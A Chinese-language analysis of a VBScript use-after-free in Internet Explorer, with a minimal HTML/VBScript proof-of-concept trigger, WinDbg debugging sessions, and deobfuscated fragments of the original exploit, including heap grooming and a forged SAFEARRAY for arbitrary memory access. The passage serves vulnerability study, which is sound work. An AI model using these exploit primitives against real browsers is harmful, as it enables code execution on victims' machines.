<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)


Class Trigger
'重载析构函数        
Private Sub Class_Terminate()        
    
    Alert "重载析构函数"
    Set array_b(0)=array_a(1)            '增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数+1)
    
    '删除array_a (1) 对Trigger实例的引用
    'Trigger实例引用计数-1 来平衡引用计数
    array_a(1)=1
    IsEmpty(array_b)    'IsEmpty 方便断点观察
End Sub
End Class


Sub UAF 
    Alert "UAF"
    Alert "重新定义array_a"
    ReDim array_a(1)                    
    Alert "创建Trigger实例给数组array_a"
    Set array_a(1)=New Trigger            
    IsEmpty(array_a)
    Alert "清空array_a中的元素,触发Class_Terminate"
    Erase array_a                        
    IsEmpty("Erase Finish")
End Sub

Sub TriggerVuln
    Alert "访问未分配的内存,触发漏洞 "
    array_b(0)=0
End Sub


Sub StartExploit
        UAF
        TriggerVuln
End Sub
StartExploit
</script>
</body>
</html>

如上:

1,在UAF函数中,Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组 array_aErase array_a 在析构 array_a 中的元素时,会调用 Trigger 的重载的析构函数; 

2,在此函数中先增加了一个 array_b(0) Trigger 实例的引用(Trigger实例引用计数+1),又通过 array_a(1)=1 删除 array_a(1) Trigger 实例的引用,(Trigger的实例引用计数减1)来平衡引用计数后,才会彻底释放 Trigger 实例 

3,但是此时 array_b(0) 仍然保留着这个类的引用,然后在 TriggerVuln 函数中,array_b(0)= array_b(0) 进行访问时造成了触发漏洞,此时 array_b(0) 就叫做悬垂指针

2.1.1.调试

windbg 所在文件夹开启hpa页堆调试 和ust栈回溯选项:

//启用页面堆--开启hpa页堆调试 和ust堆分配记录
//关于此技术原理的可以看一下这个连接: http://www.cnblogs.com/Ox9A82/p/5603172.html
C:\TOOLS\windbg_cn\WinDbg(x86)>gflags.exe /i iexplore.exe +ust +hpa
//winDbg 附加IE调试后可以捕捉到此崩溃现场
//汇编
..
76aa4966 8b4608          mov     eax,dword ptr [esi+8]
76aa4969 85c0            test    eax,eax
76aa496b 0f8454f5ffff    je      OLEAUT32!VariantClear+0xc3 (76aa3ec5)
76aa4971 8b08            mov     ecx,dword ptr [eax]  ds:0023:06076fd0=????????
..

//command
0:013> g
(e84.548): Access violation - code c0000005 (first chance)                        //访问已经释放的内存,从而崩溃
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06076fd0 ebx=06192fe0 ecx=00000009 edx=00000002 esi=06192fe0 edi=00000009
eip=76aa4971 esp=0457d02c ebp=0457d034 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OLEAUT32!VariantClear+0xb3:
76aa4971 8b08            mov     ecx,dword ptr [eax]  ds:0023:06076fd0=????????

0:005> !heap -p -a eax
    address 06076fd0 found in
    _DPH_HEAP_ROOT @ 17e1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)     //对象所在的内存已经被释放
                                    17e3e38:          6076000             2000
    728390b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f
    774aa0aa ntdll!RtlpFreeHeap+0x0000005d
    774765a6 ntdll!RtlFreeHeap+0x00000142
    76b898cd msvcrt!free+0x000000cd
    7141406c vbscript!VBScriptClass::`scalar deleting destructor'+0x00000019    
    7141411a vbscript!VBScriptClass::Release+0x00000043            //调用类的析构函数,释放了VBSClass对象,也就是脚本中的Trigger实例
    76aa4977 OLEAUT32!VariantClear+0x000000b9
    6bfce433 IEFRAME!Detour_VariantClear+0x0000002f
    76abe325 OLEAUT32!ReleaseResources+0x000000a3
    76abdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
    76ac5d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
    76ac5d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
    7145267f vbscript!VbsErase+0x00000057                        //call 了vbscript!VbsErase 此函数对应脚本中的`Erase array_a    `
    71403854 vbscript!StaticEntryPoint::Call+0x00000011
    7140586e vbscript!CScriptRuntime::RunNoEH+0x00001c10
    71404ff6 vbscript!CScriptRuntime::Run+0x00000064

VBScriptClass::Release函数中的逻辑:

VBScriptClass *__stdcall VBScriptClass::Release(VBScriptClass *this)
{
  VBScriptClass *this_1; // [email protected]
  volatile LONG *v2; // [email protected]
  VBScriptClass *result_1; // [sp+14h] [bp+8h]@1

  this_1 = this;
  v2 = (volatile LONG *)((char *)this + 4);
  result_1 = (VBScriptClass *)InterlockedDecrement((volatile LONG *)this + 1);// 引用计数 -1,引用计数保存在&VBScriptClass+0x4的位置
  if ( !result_1 )                                                            // result为引用计数,为零则进入内存释放
  {
    InterlockedIncrement(v2);
    VBScriptClass::TerminateClass(this_1);                                    // 脚本重载了类Terminate的析构函数,在重载的函数中又增加了array_b对Object的引用
    result_1 = (VBScriptClass *)InterlockedDecrement(v2);
    if ( !result_1 )                                                          // 当认为当下的Object的引用计数已经为0时,进入系统析构程序
    {
      if ( this_1 )
        (*(void (__thiscall **)(VBScriptClass *, signed int))(*(_DWORD *)this_1 + 0x68))(this_1, 1);// 调用析构函数释放VBScriptClass的内存
    }
  }
  return result_1;
}

2.1.2  溯源

// 在winDbg中这样下断点
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
bp vbscript!VbsIsEmpty

第一次断点:

//即可输出VBScriptClass对象名称,对象地址,虚函数表地址,以及引用计数:
0:013> g
Class Trigger created at 178afd0
Class Trigger at: 6fb61748 ref counter, release called: 2
Class Trigger at: 6fb61748 ref counter, release called: 2
Class Trigger at: 6fb61748 ref counter, release called: 2

//类对象地址
0:005> ln poi (0178afd0 )
(6fb61748)   vbscript!VBScriptClass::`vftable'   |  (6fb6c518)   vbscript!__pfnDefaultDliNotifyHook2
Exact matches:
    vbscript!VBScriptClass::`vftable' = <no type information>


0:005> dd 0178afd0 
0178afd0  6fb61748 00000002 05fd1f78 08477f88    //02是引用计数的值
0178afe0  00000e08 00000000 00000000 05fd5efc
0178aff0  00000000 088d6fe4 00000000 00000000

0:005> du 088d6fe4         //类的名字
088d6fe4  "Trigger"

//也可以通过vbscript!VbsIsEmpty断点追溯到类的地址。如下:
Breakpoint 3 hit
eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001
eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6fb7c206 8bff            mov     edi,edi

0:005> dd poi(esp+c) 
05fbbf60  044b004a 77431fd0 0174bfe8 01721020          //0174bfe8是数据结构地址
05fbbf70  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
05fbbf80  044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0
05fbbf90  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
05fbbfa0  044bd7bc 05fbbfe0 c0c00001 c0c0c0c0
05fbbfb0  0000400c 00000000 05fc5ec8 00000000
05fbbfc0  0000400c 00000000 05fc5e88 00000000
05fbbfd0  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0

0:005> dd 0174bfe8  l8
0174bfe8  044b200c 77431fd0 0833efe8 01721020//200c这两个字节表示的是VBScript变量类型,表示的是SAFEARRAY类型,ARRAY在07f4dfe8存放
0174bff8  00000000 c0c0c0c0 ???????? ????????

   
0:005> dt ole32!safearray 0833efe8         //解析safearray结构,pvdata表示数据地址
   +0x000 cDims            : 1             //cDims表示维数
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x08346fe0 Void        //array_a数据元素地址
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
   
0:005> dd 0x08346fe0
08346fe0  00000000 00000000 00000000 00000000        //array_a(0)没有定义
08346ff0  c0c00009 c0c0c0c0 0178afd0 c0c0c0c0        //array_a(1)type==0x9表示是一个object,值为0178afd0
08347000  ???????? ???????? ???????? ????????

//即找到类对象的地址,也就是说array_a(1)已经指向了Trigger对象
0:005> dd 0178afd0 
0178afd0  6fb61748 00000002 05fd1f78 08477f88
0178afe0  00000e08 00000000 00000000 05fd5efc
0178aff0  00000000 088d6fe4 00000000 00000000
0178b000  ???????? ???????? ???????? ????????

0:005> du 088d6fe4 
088d6fe4  "Trigger"

第二次断点: 

执行到第二个 ISEmpty ,即析构函数中的ISEmpty的时候(在Erase array_a的时候,会触发Class_Terminate析构函数),此时Set array_b(0)=array_a(1)已执行;则:

Breakpoint 3 hit
eax=6fb6185c ebx=044bcf48 ecx=6fbba9d8 edx=044bcec0 esi=05faf54c edi=00000001
eip=6fb7c206 esp=044bcddc ebp=044bcdec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6fb7c206 8bff            mov     edi,edi

0:005> dd poi(esp+c) 
05fbbf30  c0c0600c c0c0c0c0 05fc5ed4 082a4fe8        //data buffer 在082a4fe8
05fbbf40  c0c00000 c0c0c0c0 0178afd0 c0c0c0c0
05fbbf50  044bd334 05fbbf80 c0c00001 c0c0c0c0
05fbbf60  044b400c 77431fd0 05fc5e88 01721020
05fbbf70  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
05fbbf80  044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0
05fbbf90  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
05fbbfa0  044bd7bc 05fbbfe0 c0c00001 c0c0c0c0

0:005> dd 082a4fe8                                    //safearray结构
082a4fe8  08920001 00000010 00000000 012edfe0        
082a4ff8  00000002 00000000 ???????? ????????
082a5008  ???????? ???????? ???????? ????????

0:005> dt ole32!safearray 082a4fe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x012edfe0 Void        //array_b数据元素地址
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
   
0:005> dd 0x012edfe0 lc
012edfe0  c0c00009 c0c0c0c0 0178afd0 c0c0c0c0        //类型还是0x09,array_b(0)中此时保存着类对象地址
012edff0  00000000 00000000 00000000 00000000
012ee000  ???????? ???????? ???????? ????????

0:005> ln poi(0178afd0 )        //类对象地址 0178afd0
(6fb61748)   vbscript!VBScriptClass::`vftable'   |  (6fb6c518)   vbscript!__pfnDefaultDliNotifyHook2
Exact matches:
    vbscript!VBScriptClass::`vftable' = <no type information>
    
0:005> dd 0178afd0 
0178afd0  6fb61748 00000004 05fd1f78 08477f88
0178afe0  00000e08 00000000 00000000 05fd5efc
0178aff0  00000001 088d6fe4 00000000 00000000
0178b000  ???????? ???????? ???????? ????????

0:005> du 088d6fe4             //类名称
088d6fe4  "Trigger"

第三次断点: 此时 Erase已经执行完毕:

Breakpoint 3 hit
eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001
eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6fb7c206 8bff            mov     edi,edi

//此时查看object的地址为空,
0:005> dd 0178afd0
0178afd0  ???????? ???????? ???????? ????????
0178afe0  ???????? ???????? ???????? ????????
0178aff0  ???????? ???????? ???????? ????????


0:005> !heap -p -a 0178afd0
    address 0178afd0 found in
    _DPH_HEAP_ROOT @ 1721000
    //in free-ed allocation 表示已经被释放
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    1722e38:          178a000             2000
    733390b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f
    774aa0aa ntdll!RtlpFreeHeap+0x0000005d
    774765a6 ntdll!RtlFreeHeap+0x00000142
    ..
    ..

//此时分别查看array_b与array_a 的情况:

//array_b(0)的情况:
0:005> dd 0x012edfe0
012edfe0  c0c00009 c0c0c0c0 0178afd0 c0c0c0c0            //array_b(0)依然保存着类对象地址,但是类对象已经被释放了
012edff0  00000000 00000000 00000000 00000000
012ee000  ???????? ???????? ???????? ????????
012ee010  ???????? ???????? ???????? ????????

//array_a的情况:
0:005> dd 0x08346fe0
08346fe0  ???????? ???????? ???????? ????????             //array_a已经被释放
08346ff0  ???????? ???????? ???????? ????????
08347000  ???????? ???????? ???????? ????????

显然有些地方出现了错误,明明 array_b 还保留着对 Trigger Object引用的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方:

2.2 验证

在IDA里面查看过 VBScriptClass::Release  的伪代码,以及上面的调试后,我们猜测在脚本中的重载的析构函数中,Set array_b(0)=array_a(1)这句是否有对 Class Trigger 的引用计数进行操作,

image.png

接下来进行验证,在以下位置下断点:

bu  vbscript!VbsErase
bu  vbscript!VBScriptClass::Release
bu  vbscript!VbsIsEmpty
bp  vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

前面的几次 Release 不用看,一直到VbsErase后面的release的时候单步调试 

(此时在调试日志中,类对象地址已经被bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"; 打印出来了,或者运行到 release 的时候的esp +8也是类对象地址)

0:005> g
Class Trigger created at 189bfd0
..
..
Breakpoint 1 hit
eax=0189bfd0 ebx=00000020 ecx=6d9a1748 edx=00000000 esi=087efff0 edi=00000009
eip=6d9b1ef3 esp=0468c9cc ebp=0468c9dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!VBScriptClass::Release:
6d9b1ef3 8bff            mov     edi,edi

0:005> dd 189bfd0
0189bfd0  6d9a1748 00000001 06103f78 08657f88    //此时的引用计数为1
0189bfe0  00000d80 00000000 00000000 06107efc
0189bff0  00000000 071e4fe4 00000000 00000000
0189c000  ???????? ???????? ???????? ????????

单步调试到:
6d9b1efc 56              push    esi
6d9b1efd 8b35e4129a6d    mov     esi,dword ptr [vbscript!_imp__InterlockedDecrement (6d9a12e4)]
6d9b1f03 57              push    edi
6d9b1f04 8d7b04          lea     edi,[ebx+4]
6d9b1f07 57              push    edi                            //edi 中保存的便是object的引用计数
6d9b1f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (775bbbf0)}
6d9b1f0a 894508          mov     dword ptr [ebp+8],eax
6d9b1f0d 85c0            test    eax,eax                        //如果此时的引用计数为0,
6d9b1f0f 0f84d8210000    je      vbscript!VBScriptClass::Release+0x1e (6d9b40ed)//则进入Release+0x1e,调用析构函数
6d9b1f15 8b4508          mov     eax,dword ptr [ebp+8]

//此时的edi 的值为1,然后调用InterlockedDecrementStub 把引用计数减一
0:005> dd edi
0189bfd4  00000001 06103f78 08657f88 00000d80

//继续调试,这里就执行 我们代码中 的Set array_b(0)=array_a(1)这句了
6da140f4 8bcb            mov     ecx,ebx
6da140f6 e829000000      call    vbscript!VBScriptClass::TerminateClass (6da14124)
6da140fb 57              push    edi
6da140fc ffd6            call    esi
6da140fe 894508          mov     dword ptr [ebp+8],eax
6da14101 85c0            test    eax,eax
6da14103 0f850cdeffff    jne     vbscript!VBScriptClass::Release+0x43 (6da11f15)
6da14109 85db            test    ebx,ebx
6da1410b 0f8404deffff    je      vbscript!VBScriptClass::Release+0x43 (6da11f15)
6da14111 8b03            mov     eax,dword ptr [ebx]
6da14113 6a01            push    1
6da14115 8bcb            mov     ecx,ebx
6da14117 ff5068          call    dword ptr [eax+68h]  ds:0023:6da017b0={vbscript!VBScriptClass::`vector deleting destructor' (6da14053)}            //最终因为引用计数为0,调用vector deleting destructo,释放对象内存


0:005> p
eax=00000001 ebx=01882fd0 ecx=01882fd0 edx=00000000 esi=775bbbf0 edi=01882fd4
eip=6da140f6 esp=045ccd8c ebp=045ccd98 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!VBScriptClass::Release+0x27:
6da140f6 e829000000      call    vbscript!VBScriptClass::TerminateClass (6da14124)
0:005> dd 1882fd0
01882fd0  6da01748 00000001 05f31f78 08469f88        //在进入TerminateClass前引用计数为1
01882fe0  0000098c 00000000 00000000 05f35efc
01882ff0  00000000 087e4fe4 00000000 00000000
01883000  ???????? ???????? ???????? ????????

0:005> p
eax=00000000 ebx=01882fd0 ecx=01882fd4 edx=0008001f esi=775bbbf0 edi=01882fd4
eip=6da140fb esp=045ccd8c ebp=045ccd98 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VBScriptClass::Release+0x2c:
6da140fb 57              push    edi
0:005> dd 1882fd0
01882fd0  6da01748 00000001 05f31f78 08469f88        //在执行TerminateClass后引用计数仍然为1,
01882fe0  0000098c 00000000 00000000 05f35efc
01882ff0  00000001 087e4fe4 00000000 00000000
01883000  ???????? ???????? ???????? ????????

//所以问题就在这里,它没有因为Set array_b(0)=array_a(1),而增加类对象的引用计数,造成了在类对象被释放后array_b(0)仍然指向那个类对象地址,而造成了悬垂指针

漏洞原因总结:

此漏洞就是存在于release 函数中,如果在自定义的脚本中重载了析构函数,在这个函数中操作了类的引用计数(UAF),而release函数不能正确的判断类的引用计数造成而去析构了这个类,但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。

接下来我们调试原始PoC看它是怎么对这个悬垂指针进行利用的,需要对vbs的基本的 数据结构 有所了解:

0x200C,即VT_VARIANT|VT_ARRAY

Constant Value Description
vbEmpty 0 Empty (uninitialized)
vbNull 1 Null (no valid data)
vbInteger 2 Integer
vbLong 3 Long integer
vbSingle 4 Single-precision floating-point number
vbDouble 5 Double-precision floating-point number
vbCurrency 6 Currency
vbDate 7 Date
vbString 8 String
vbObject 9 Automation object
vbError 10 Error
vbBoolean 11 Boolean
vbVariant 12 Variant (used only with arrays of Variants)
vbDataObject 13 A data-access object
vbByte 17 Byte
vbArray 8192 Array

三、 原PoC剥茧抽丝

理解了上面的基础之后我们开始调试原始PoC

原始PoC 在变量名和数据计算中存在大量的混淆,对重要位置进行还原: (以及加入了一些IsEmpty后方便查看参数)

3.1 PoC中的UAF

先分析一下原始poc中的UAF函数:

Sub UAF
 Alert "UAF"
    For i=0 To 19
        Set array(i)=New Foo   '占据系统堆碎片
    Next
    For i=20 To 39
        Set array(i)=New MyClass2  '占据系统堆碎片
    Next
'--------------------------------------------------------------------------
    For i=0 To 6
        ReDim array_a(1) 
        Set array_a(1)=New Trigger  
        Erase array_a      'array_b保存了对已经释放的Trigger obj的引用
    Next
    IsEmpty(array_b)      
    Set MyClass2_obj1=New MyClass2   '同时MyClass2_obj2对它占位
    IsEmpty(MyClass2_obj1)
'--------------------------------------------------------------------------
    spec_int_2=0
    For i=0 To 6
        ReDim array_a(1)
        Set array_a(1)=New cla2    'array_c保存了对已经释放的 cla2 obj 的引用
        Erase array_a        
    Next
    IsEmpty(array_c)
    Set MyClass2_obj2=New MyClass2   '同时MyClass2_obj2对它占位
    IsEmpty(MyClass2_obj2)
End Sub
//断点:
0:005> bl
 0 e 710b4124     0001 (0001)  0:**** vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g"
 2 e 710b463d     0001 (0001)  0:**** vbscript!VBScriptClass::Create+0x63 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"
 3 e 710bc206     0001 (0001)  0:**** vbscript!VbsIsEmpty

第一次IsEmpty断点,参数为array_b

//参数传入的array_b,进入函数后栈空间可以查看
Breakpoint 3 hit
eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001
eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6ab2c206 8bff            mov     edi,edi

0:006> dd poi(esp+C)
0049f1a0  0000600c 00000000 01051100 0034c4c8  //0034c4c8 是array_b 的data buffer    
0049f1b0  02890002 0049ffc0 01050013 0289c9c0
0049f1c0  02890002 0049ffc0 01050001 0289c9c0
0049f1d0  6ab10002 0289c9fc 02890027 0049ffc0
0049f1e0  6ab10002 0289c9fc 02890001 0049ffc0
0049f1f0  6ab10002 0289c9fc 02890006 0049ffc0
0049f200  6ab10002 0289c9fc 02890001 0049ffc0
0049f210  00000000 00000000 00000000 00000000

0:006> dt ole32!safearray 0034c4c8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x00371a68 Void   //array_b数据元素地址
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
   
0:006> dd 00371a68
00371a68  01030009 00000000 010526e0 00000000     //010526e0类对象地址
00371a78  6ab10009 010526e4 010526e0 6ab14211
00371a88  6ab10009 010526e4 010526e0 6ab14211
00371a98  6ab10009 010526e4 010526e0 6ab14211
00371aa8  6ab10009 010526e4 010526e0 6ab14211
00371ab8  6ab10009 010526e4 010526e0 6ab14211
00371ac8  6ab10009 010526e4 010526e0 6ab14211
00371ad8  5e2b1c44 88000000 0030007b 0030002e

0:006> dd 010526e0 
010526e0  6ab100c6 00000000 00000000 00000000   //引用计数已经为0
010526f0  00000808 00000000 00000000 0103799c
01052700  00000001 003af554 00000000 00000000
01052710  5e163a1d 80000000 000000cd 00000000

0:006> du 003af554 
003af554  "Trigger"

第二次IsEmpty断点,此时 cla4_obj1 占位已经完成:

//仍然查看10526e0类对象地址
Class cla4 created at 10526e0

Breakpoint 3 hit
eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001
eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6ab2c206 8bff            mov     edi,edi

0:006> dd 010526e0 
010526e0  6ab11748 00000002 010345e0 0049e910  //引用计数变为0x02
010526f0  00000808 00000000 00000000 00000000
01052700  00000000 003af554 00000000 010526a8
01052710  5e163a1d 80000000 000000cd 00000000
01052720  00000000 00000000 00000000 00000000
01052730  00000000 00000000 00000000 00000000
01052740  00000000 00000000 5e163a16 80000000
01052750  000000d4 00000000 00000000 00000000
0:006> du 003af554 
003af554  "cla4"         //同样的地址cla4_obj1已经占位

第三次IsEmpty断点,参数为array_c

Breakpoint 3 hit
eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001
eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6ab2c206 8bff            mov     edi,edi


0:006> dd poi(esp+C)
0049f1a0  0000600c 00000000 01051140 00375bc0  //00340308是array_c的data buffer
0049f1b0  02890002 0049ffc0 01050013 0289c9c0
0049f1c0  02890002 0049ffc0 01050001 0289c9c0
0049f1d0  6ab10002 0289c9fc 02890027 0049ffc0
0049f1e0  6ab10002 0289c9fc 02890001 0049ffc0
0049f1f0  6ab10002 0289c9fc 02890006 0049ffc0
0049f200  6ab10002 0289c9fc 02890001 0049ffc0
0049f210  6ab10002 0289c9fc 02890006 0049ffc0


0:006>  dt ole32!safearray 00375bc0
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x00371888 Void   //array_c数据元素地址
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
   
   
0:006> dd 0x00371888 
00371888  6ab10009 010526e4 01052718 6ab14211   //023b1f98类对象地址
00371898  6ab10009 0105271c 01052718 6ab14211
003718a8  6ab10009 0105271c 01052718 6ab14211
003718b8  6ab10009 0105271c 01052718 6ab14211
003718c8  6ab10009 0105271c 01052718 6ab14211
003718d8  6ab10009 0105271c 01052718 6ab14211
003718e8  6ab10009 0105271c 01052718 6ab14211
003718f8  5e2b1c00 8e000000 00690066 0065006c

0:006> dd 01052718 
01052718  6ab100cd 00000000 00000000 00000000   //引用计数已经为0
01052728  00000808 00000000 00000000 01037bcc
01052738  00000001 00370d34 00000000 00000000
01052748  5e163a16 80000000 000000d4 00000000
01052758  00000000 00000000 00000000 00000000
01052768  00000000 00000000 00000000 00000000
01052778  00000000 00000000 5e163a0f 80000000
01052788  000000db 00000000 00000000 00000000

0:006> du 00370d34           
00370d34  "cla2"

第四次IsEmpty断点,此时 MyClass2_obj2 占位已经完成:

//仍然查看 1052718 类对象地址
Class cla4 created at 1052718

Breakpoint 3 hit
eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001
eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6ab2c206 8bff            mov     edi,edi

0:006> dd 01052718 
01052718  6ab11748 00000002 01034700 0049e910  //引用计数变为0x02
01052728  00000808 00000000 00000000 00000000
01052738  00000000 00370d34 00000000 010526e0
01052748  5e163a16 80000000 000000d4 00000000
01052758  00000000 00000000 00000000 00000000
01052768  00000000 00000000 00000000 00000000
01052778  00000000 00000000 5e163a0f 80000000
01052788  000000db 00000000 00000000 00000000
0:006> du 00370d34          //同样的地址cla4_obj2已经占位
00370d34  "cla4"

以上为poc中的UAF函数的作用与原理,接下来看 InitObjects

3.2.PoC中的InitObjects

同样的我们在代码里面加入IsEmpty来便于调试

Sub InitObjects
    IsEmpty(MyClass2_obj1)
    MyClass2_obj1.SetProp(cla6_obj1)  '调用了两次 MyClass2_obj1的SetProp函数,分别传入的参数为 cla6_obj1
    IsEmpty(MyClass2_obj1)
    
    IsEmpty(MyClass2_obj2)
    MyClass2_obj2.SetProp(cla7_obj1)  '参数为cla7_obj1
    IsEmpty(MyClass2_obj2)
    spec_int_1=MyClass2_obj2.mem
    
End Sub


Class MyClass2
    Dim mem
    Function P
    End Function
    Function SetProp(Value)
        'IsEmpty("Enter MyClass2:SetPro")
        mem=0
        mem=Value      '分别会调用cla6与cla7的Get P
        SetProp=0
    End Function
End Class

Class cla6
    Public Default Property Get P
        'IsEmpty("cal6:call Get P")
        Dim cla5_obj1
        P=174088534690791e-324
        For i=0 To 6
            array_b(i)=0
        Next
        'IsEmpty("finish set array_b to 0")
        Set cla5_obj1=New cla5
        cla5_obj1.mem=str_1
        'IsEmpty(cla5_obj1)
        For i=0 To 6
            Set array_b(i)=cla5_obj1
        Next
    End Property
End Class

Class cla7
    Public Default Property Get P
        Dim cla5_obj1
        P=636598737289582e-328
        For i=0 To 6
            array_c(i)= 0
        Next
        'IsEmpty("finish set array_c to 0")
        Set cla5_obj1=New cla5
        cla5_obj1.mem=str_2
        'IsEmpty(cla5_obj1)
        For i= 0 To 6
            Set array_c(i)=cla5_obj1
        Next
    End Property
End Class

执行前:

//查看cla4_obj1的地址
0:006> dd 010526e0 
010526e0  6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址
010526f0  00000808 00000000 00000000 00000000
01052700  00000000 003af554 01052718 010526a8
01052710  5e163a1d 88000000 6ab11748 00000001
01052720  01034700 0049e910 00000808 00000000
01052730  00000000 00000000 00000000 00370d34
01052740  00000000 010526e0 5e163a16 80000000
01052750  000000d4 00010a41 00000000 00000000

0:006> du 003af554 
003af554  "cla4"

执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,去调用cla4SetProp函数

Class cla4
    Dim mem
    Function P
    End Function
    Function SetProp(Value)
        IsEmpty("enter cla4:SetPro")
        mem=0
        mem=Value    '这一步会调用cla6的Get P
        SetProp=0
    End Function
End Class

Get P中实现了又一次的占位与一次类型的替换:

Class cla6
    Public Default Property Get P    'Property Get 语句 用来取得(返回)的值   
        IsEmpty("cal6:call Get P")
        Dim cla5_obj1
  'CDbl是转换成双精度浮点数据类型
  ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
        P=CDbl("174088534690791e-324")   'P是返回值 对cla4_mem赋值,把string改为array类型
        For i=0 To 6   'array_b保存了cla1 object的引用,而cla1 object被释放后是由
            array_b(i)=0  'cla4_obj1占位的。array_b赋值为0,也就是将cla4_obj1的内存释放了
        Next
        IsEmpty("finish set array_b to 0")
  
        Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位,
        cla5_obj1.mem=str_1   '并对cla5.mem赋值伪造的字符串 7fffffff的safearray,
  'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
        IsEmpty(cla5_obj1)
        For i=0 To 6
            Set array_b(i)=cla5_obj1
        Next
    End Property
End Class

调试: cla6 Get P中的第一个IsEmpty

